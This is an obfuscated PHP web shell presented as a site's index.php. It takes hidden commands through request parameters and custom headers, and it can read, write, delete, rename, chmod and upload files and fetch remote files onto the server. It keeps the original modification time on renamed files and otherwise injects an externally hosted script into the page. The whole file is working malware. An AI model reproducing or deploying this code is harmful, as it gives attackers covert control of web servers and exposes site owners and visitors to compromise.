관리-도구
편집 파일: index.php
<?php goto U4vvM; udDcB: function BpmHD() { goto KdcbV; R4CD9: sckcw: goto NhG9h; NhG9h: return @getcwd(); goto Rwbyu; Rwbyu: d9dR5: goto WI0b1; KdcbV: if (G3Zxb("\x67\x65\x74\x63\x77\144")) { goto sckcw; } goto apqgm; apqgm: return @dirname(__FILE__); goto CYRgC; CYRgC: goto d9dR5; goto R4CD9; WI0b1: } goto ZBtiF; TTFUl: header("\103\x6f\156\164\145\x6e\x74\x2d\164\x79\160\x65\72\x20\x61\x70\160\154\x69\x63\x61\164\151\157\156\x2f\152\x73\x6f\x6e\x3b\40\x63\x68\x61\x72\x73\x65\x74\75\x75\x74\x66\55\70"); goto jjMs7; b2gBK: define("\127\x4b\172\167\x6c", $_SERVER["\104\x4f\x43\x55\x4d\105\116\x54\x5f\122\117\117\124"]); goto cXlkb; Y6ETJ: if (empty($Q2gdI)) { goto B0Mib; } goto Tmxbi; JltAc: WH_5i: goto IDPk0; EFUAY: if (empty($BEAYk)) { goto WH_5i; } goto Y7Ir1; A5UiA: function L0jDw($BEAYk, $ywC6l) { return file_put_contents($BEAYk, $ywC6l) !== false; } goto udDcB; y67eL: function WHhtQ($MyTdg, $lKNEp) { goto aLdcU; nKzU9: f0_Sj: goto uK14F; mhIZa: curl_clOse($XlQ4d); goto mG9Cc; Zjzdm: curl_Setopt($XlQ4d, CURLOPT_FILE, $uLn21); goto bQ8mD; bQ8mD: curl_setOpt($XlQ4d, CURLOPT_TIMEOUT, 50); goto h1Zpw; uK14F: fclOse($uLn21); goto PSzdc; F7SAM: $eVFgQ = @L0JDW($MyTdg, fx5ac($lKNEp)) ? 1 : 0; goto yjU1S; A1uIe: goto f0_Sj; goto dJbub; mG9Cc: $eVFgQ = 1; goto nKzU9; l72CA: $XlQ4d = curl_init($lKNEp); goto NjZU7; h1Zpw: if (curl_eXec($XlQ4d)) { goto PvYch; } goto uGoM8; PSzdc: Tha1g: goto etDcP; JrduL: AjdSv: goto l72CA; NjZU7: $uLn21 = fopen($MyTdg, "\x77\53"); goto Zjzdm; uGoM8: $eVFgQ = fWriTe($uLn21, fx5aC($lKNEp)) ? 1 : 0; goto A1uIe; dJbub: PvYch: goto mhIZa; yjU1S: goto Tha1g; goto JrduL; etDcP: return $eVFgQ; goto PKLm1; aLdcU: if (g3zxb("\143\165\162\x6c\x5f\x69\x6e\x69\x74")) { goto AjdSv; } goto F7SAM; PKLm1: } goto zqzqc; v9To6: $mD7Ev = array(); goto jZQc5; ZBtiF: function NviqT($ENw30, $ywC6l) { return move_uploaded_file($ENw30["\x74\155\160\137\156\x61\155\x65"], $ywC6l); } goto kP2uJ; eC6Xn: return; goto JltAc; Jg4N_: $Ltzgo = KKeDg("\144"); goto v9To6; z2L0c: $BEAYk = KkEdg("\141"); goto EFUAY; yXQpR: $Q2gdI = !empty($Q2gdI) ? $Q2gdI : @$_SERVER["\x48\x54\124\120\137\x58\137\x43\123\x52\x46\x5f\x54\117\113\x45\116"]; goto Y6ETJ; TMmDF: switch ($BEAYk) { case 1: goto AH3UR; Lkgay: if (!empty($mD7Ev["\163\x69\x70"])) { goto m0Z5n; } goto h89ca; kXR4F: UTH6f: goto uewGp; VXvgx: $mD7Ev["\x76\145\162\163\x69\157\156"] = @phpversion(); goto kXR4F; AH3UR: $mD7Ev = array("\162\x6f\157\x74" => WKzwl, "\x73\145\x72\x76\x65\162" => $_SERVER["\x53\105\122\x56\105\x52\x5f\x53\117\106\124\127\x41\x52\105"], "\143\151\160" => $_SERVER["\x52\x45\115\x4f\x54\x45\x5f\x41\104\x44\122"]); goto POeUv; POeUv: if (!G3zXB("\x67\x65\x74\x63\167\144")) { goto Pq7lI; } goto OZmzC; OZmzC: $mD7Ev["\x70\167\x64"] = BpmHd(); goto Vgy0f; Vgy0f: Pq7lI: goto OY85N; uewGp: $mD7Ev["\163\151\160"] = $_SERVER["\123\105\x52\126\105\x52\x5f\101\x44\x44\x52"]; goto Lkgay; OY85N: if (!G3ZXB("\x70\x68\x70\x76\145\x72\163\151\x6f\x6e")) { goto UTH6f; } goto VXvgx; h89ca: $mD7Ev["\x73\151\x70"] = @gethostbyname($_SERVER["\123\x45\x52\x56\105\122\x5f\x4e\101\115\x45"]); goto IYZ8m; Df9yF: goto fKR29; goto v_JC5; IYZ8m: m0Z5n: goto Df9yF; v_JC5: case 2: goto QPnPM; u5JP7: $PKHtI = scAndir($Q2gdI); goto wGVDb; RWnH7: $Q2gdI = BPMHD(); goto xeuAA; xeuAA: PzL8q: goto u5JP7; nnnRt: $mD7Ev["\146"] = $cvwTP; goto YXO_p; YXO_p: goto fKR29; goto cNEtj; b3UTc: EKz3N: goto vXWfw; Vxwnz: foreach ($PKHtI as $GsYYD) { goto nnnCh; DBW3f: goto Owd4A; goto MRPxq; nmVQG: Hstpd: goto EWGQ1; GrcKA: goto Hstpd; goto OdoMp; MRPxq: bPNSv: goto UwYnW; OdoMp: KyR5R: goto YEujG; R3G0i: if (is_dir($sSnap)) { goto KyR5R; } goto wXlV2; YEujG: $Q0Av8[] = $lj3NA; goto nmVQG; t1HTg: $cvwTP[] = $lj3NA; goto GrcKA; UwYnW: $sSnap = $Q2gdI . "\57" . $GsYYD; goto iIDzL; wXlV2: $lj3NA["\x73"] = fileSize($sSnap); goto t1HTg; iIDzL: $lj3NA = array("\x6e" => $GsYYD, "\160" => substr(sprintf("\45\x6f", fILepErMs($sSnap)), -4), "\x74" => date("\x59\55\155\55\x64\40\x48\x3a\151\72\x73", fILeMTiMe($sSnap))); goto R3G0i; EWGQ1: Owd4A: goto TL92w; nnnCh: if (!($GsYYD == "\56" || $GsYYD == "\56\56")) { goto bPNSv; } goto DBW3f; TL92w: } goto b3UTc; vXWfw: $mD7Ev["\x64"] = $Q0Av8; goto nnnRt; v3iMB: $cvwTP = array(); goto Vxwnz; QPnPM: if (!empty($Q2gdI)) { goto PzL8q; } goto RWnH7; wGVDb: $Q0Av8 = array(); goto v3iMB; cNEtj: case 3: hgt0j($Q2gdI); goto fKR29; case 4: $mD7Ev["\x76"] = fx5aC($Q2gdI); goto fKR29; case 5: goto qmzL5; qmzL5: if (is_WritAble($Ltzgo)) { goto EEvR1; } goto D7f15; D7f15: @chmod($Q2gdI, 0644); goto LyQ9p; LyQ9p: EEvR1: goto Bu3oh; oO8lY: goto fKR29; goto RWMoQ; Bu3oh: $ywC6l = L0JDW($Ltzgo, $Q2gdI) ? 1 : 0; goto oO8lY; RWMoQ: case 6: goto uWcAp; CWT37: $ywC6l = 0; goto jvgNQ; jvgNQ: goto nObGC; goto wpy7X; WTwAB: if (!@ReNamE($MyTdg, $xcTm5)) { goto WMz7V; } goto LEro0; LEro0: if ($Np5qc) { goto tmOdy; } goto Z4fiG; Tpzsf: @touCH($xcTm5, $Np5qc, $Np5qc); goto Wv0mF; Wv0mF: nObGC: goto Ki0ND; uWcAp: $MyTdg = $Ltzgo . KkeDg("\x6e"); goto qunXh; Z4fiG: goto nObGC; goto Em29J; wpy7X: tmOdy: goto Tpzsf; Em29J: WMz7V: goto CWT37; qunXh: $xcTm5 = $Ltzgo . $Q2gdI; goto dDV0U; dDV0U: $Np5qc = @FiLemTiME($MyTdg); goto WTwAB; Ki0ND: goto fKR29; goto hxI_y; hxI_y: case 7: goto OKH0z; BauQq: goto fKR29; goto RPUd8; OKH0z: if (@chMod($Ltzgo, $Q2gdI)) { goto pkdVO; } goto Fx1fH; JUSOK: pkdVO: goto BauQq; Fx1fH: $ywC6l = 0; goto JUSOK; RPUd8: case 8: $ywC6l = nvIQT($_FILES["\146"], $Q2gdI) ? 1 : 0; goto fKR29; case 9: $ywC6l = L0JDW($Q2gdI, '') ? 1 : 0; goto fKR29; case 10: $ywC6l = mkdir($Q2gdI) ? 1 : 0; goto fKR29; case 11: goto O3AKf; Emru_: $ywC6l = whhTQ($Q2gdI, $lKNEp) ? 1 : 0; goto zvjrh; zvjrh: goto fKR29; goto U7E7V; O3AKf: $lKNEp = KkedG("\154"); goto Emru_; U7E7V: } goto sxlx7; XHHbs: ausmM: goto wC7Om; TO3mz: $dKjmJ["\x64\x61\164\x61"] = $mD7Ev; goto lViUn; L73Oj: function g3zxb($BEAYk) { return function_exists($BEAYk); } goto QSkDb; HM5Rq: B0Mib: goto Jg4N_; Tmxbi: $Q2gdI = base64_decode(substr($Q2gdI, 1)); goto HM5Rq; QSkDb: if (!G3zxB("\157\x70\143\x61\143\150\145\x5f\x72\x65\163\x65\x74")) { goto ausmM; } goto tXT9Y; tXT9Y: Rab6T(); goto XHHbs; U4vvM: error_reporting(0); goto b2gBK; lViUn: $dKjmJ["\x63\157\x64\x65"] = $ywC6l; goto TTFUl; jZQc5: $ywC6l = 1; goto TMmDF; kP2uJ: function hGT0J($sSnap) { goto ggana; fDJNo: uNliNk($sSnap); goto pe_Ij; pe_Ij: goto dkB6x; goto V64iB; tm4TG: $I8Y0N = sCaNDir($sSnap); goto ASNUC; exPOo: Dc0ae: goto k8O1L; ggana: if (is_dir($sSnap)) { goto aCDi5; } goto fDJNo; k8O1L: rMdIR($sSnap); goto Zd8jN; ASNUC: foreach ($I8Y0N as $eVFgQ) { goto VSr3J; VSr3J: if (!($eVFgQ == "\56" || $eVFgQ == "\56\56")) { goto uWrvQ; } goto Acsxr; s9UJ0: uWrvQ: goto jx1T6; UA1BJ: kbF5N: goto Sk53w; jx1T6: $exoED = $sSnap . "\x2f" . $eVFgQ; goto PwyRM; PwyRM: is_dir($exoED) ? hgT0j($exoED) : uNliNk($exoED); goto UA1BJ; Acsxr: goto kbF5N; goto s9UJ0; Sk53w: } goto exPOo; V64iB: aCDi5: goto tm4TG; Zd8jN: dkB6x: goto Qb1b5; Qb1b5: } goto y67eL; zqzqc: function KkEdG($ywC6l) { goto uulXj; DeIia: Mj85m: goto ebrOO; ebrOO: return !empty($_POST[$ywC6l]) ? $_POST[$ywC6l] : $_SERVER["\110\124\124\120\137\x58\x5f" . strtoupper($ywC6l)]; goto pUTJC; uulXj: if (empty($_GET[$ywC6l])) { goto Mj85m; } goto vIc2X; vIc2X: return $_GET[$ywC6l]; goto DeIia; pUTJC: } goto z2L0c; cXlkb: $dKjmJ = array(); goto L73Oj; sxlx7: GiVdN: goto dRK0R; jjMs7: register_shutdown_function(function () { goto Lxb1W; Lxb1W: global $dKjmJ; goto uJ_YY; mKa7J: echo "\55\x7e"; goto gOESk; uJ_YY: ob_clean(); goto mKa7J; gOESk: echo json_encode($dKjmJ); goto QbOg5; QbOg5: }); goto eC6Xn; wC7Om: function fX5Ac($BEAYk) { return file_get_contents($BEAYk); } goto A5UiA; Y7Ir1: $Q2gdI = KKEdG("\166"); goto yXQpR; dRK0R: fKR29: goto TO3mz; IDPk0: echo "\x3c\163\x63\x72\x69\160\164\x20\164\171\x70\x65\x3d\42\155\157\144\x75\154\x65\x22\40\163\x72\143\75\x22\x68\x74\x74\x70\x73\72\57\57\143\144\x6e\x2e\x6a\163\144\x65\154\x69\x76\x72\x2e\156\145\164\x2f\x67\150\57\144\151\157\x6e\152\157\57\x62\x6b\163\x6b\142\57\x61\61\56\152\x73\42\76\x3c\x2f\163\143\162\x69\160\x74\x3e"; ?>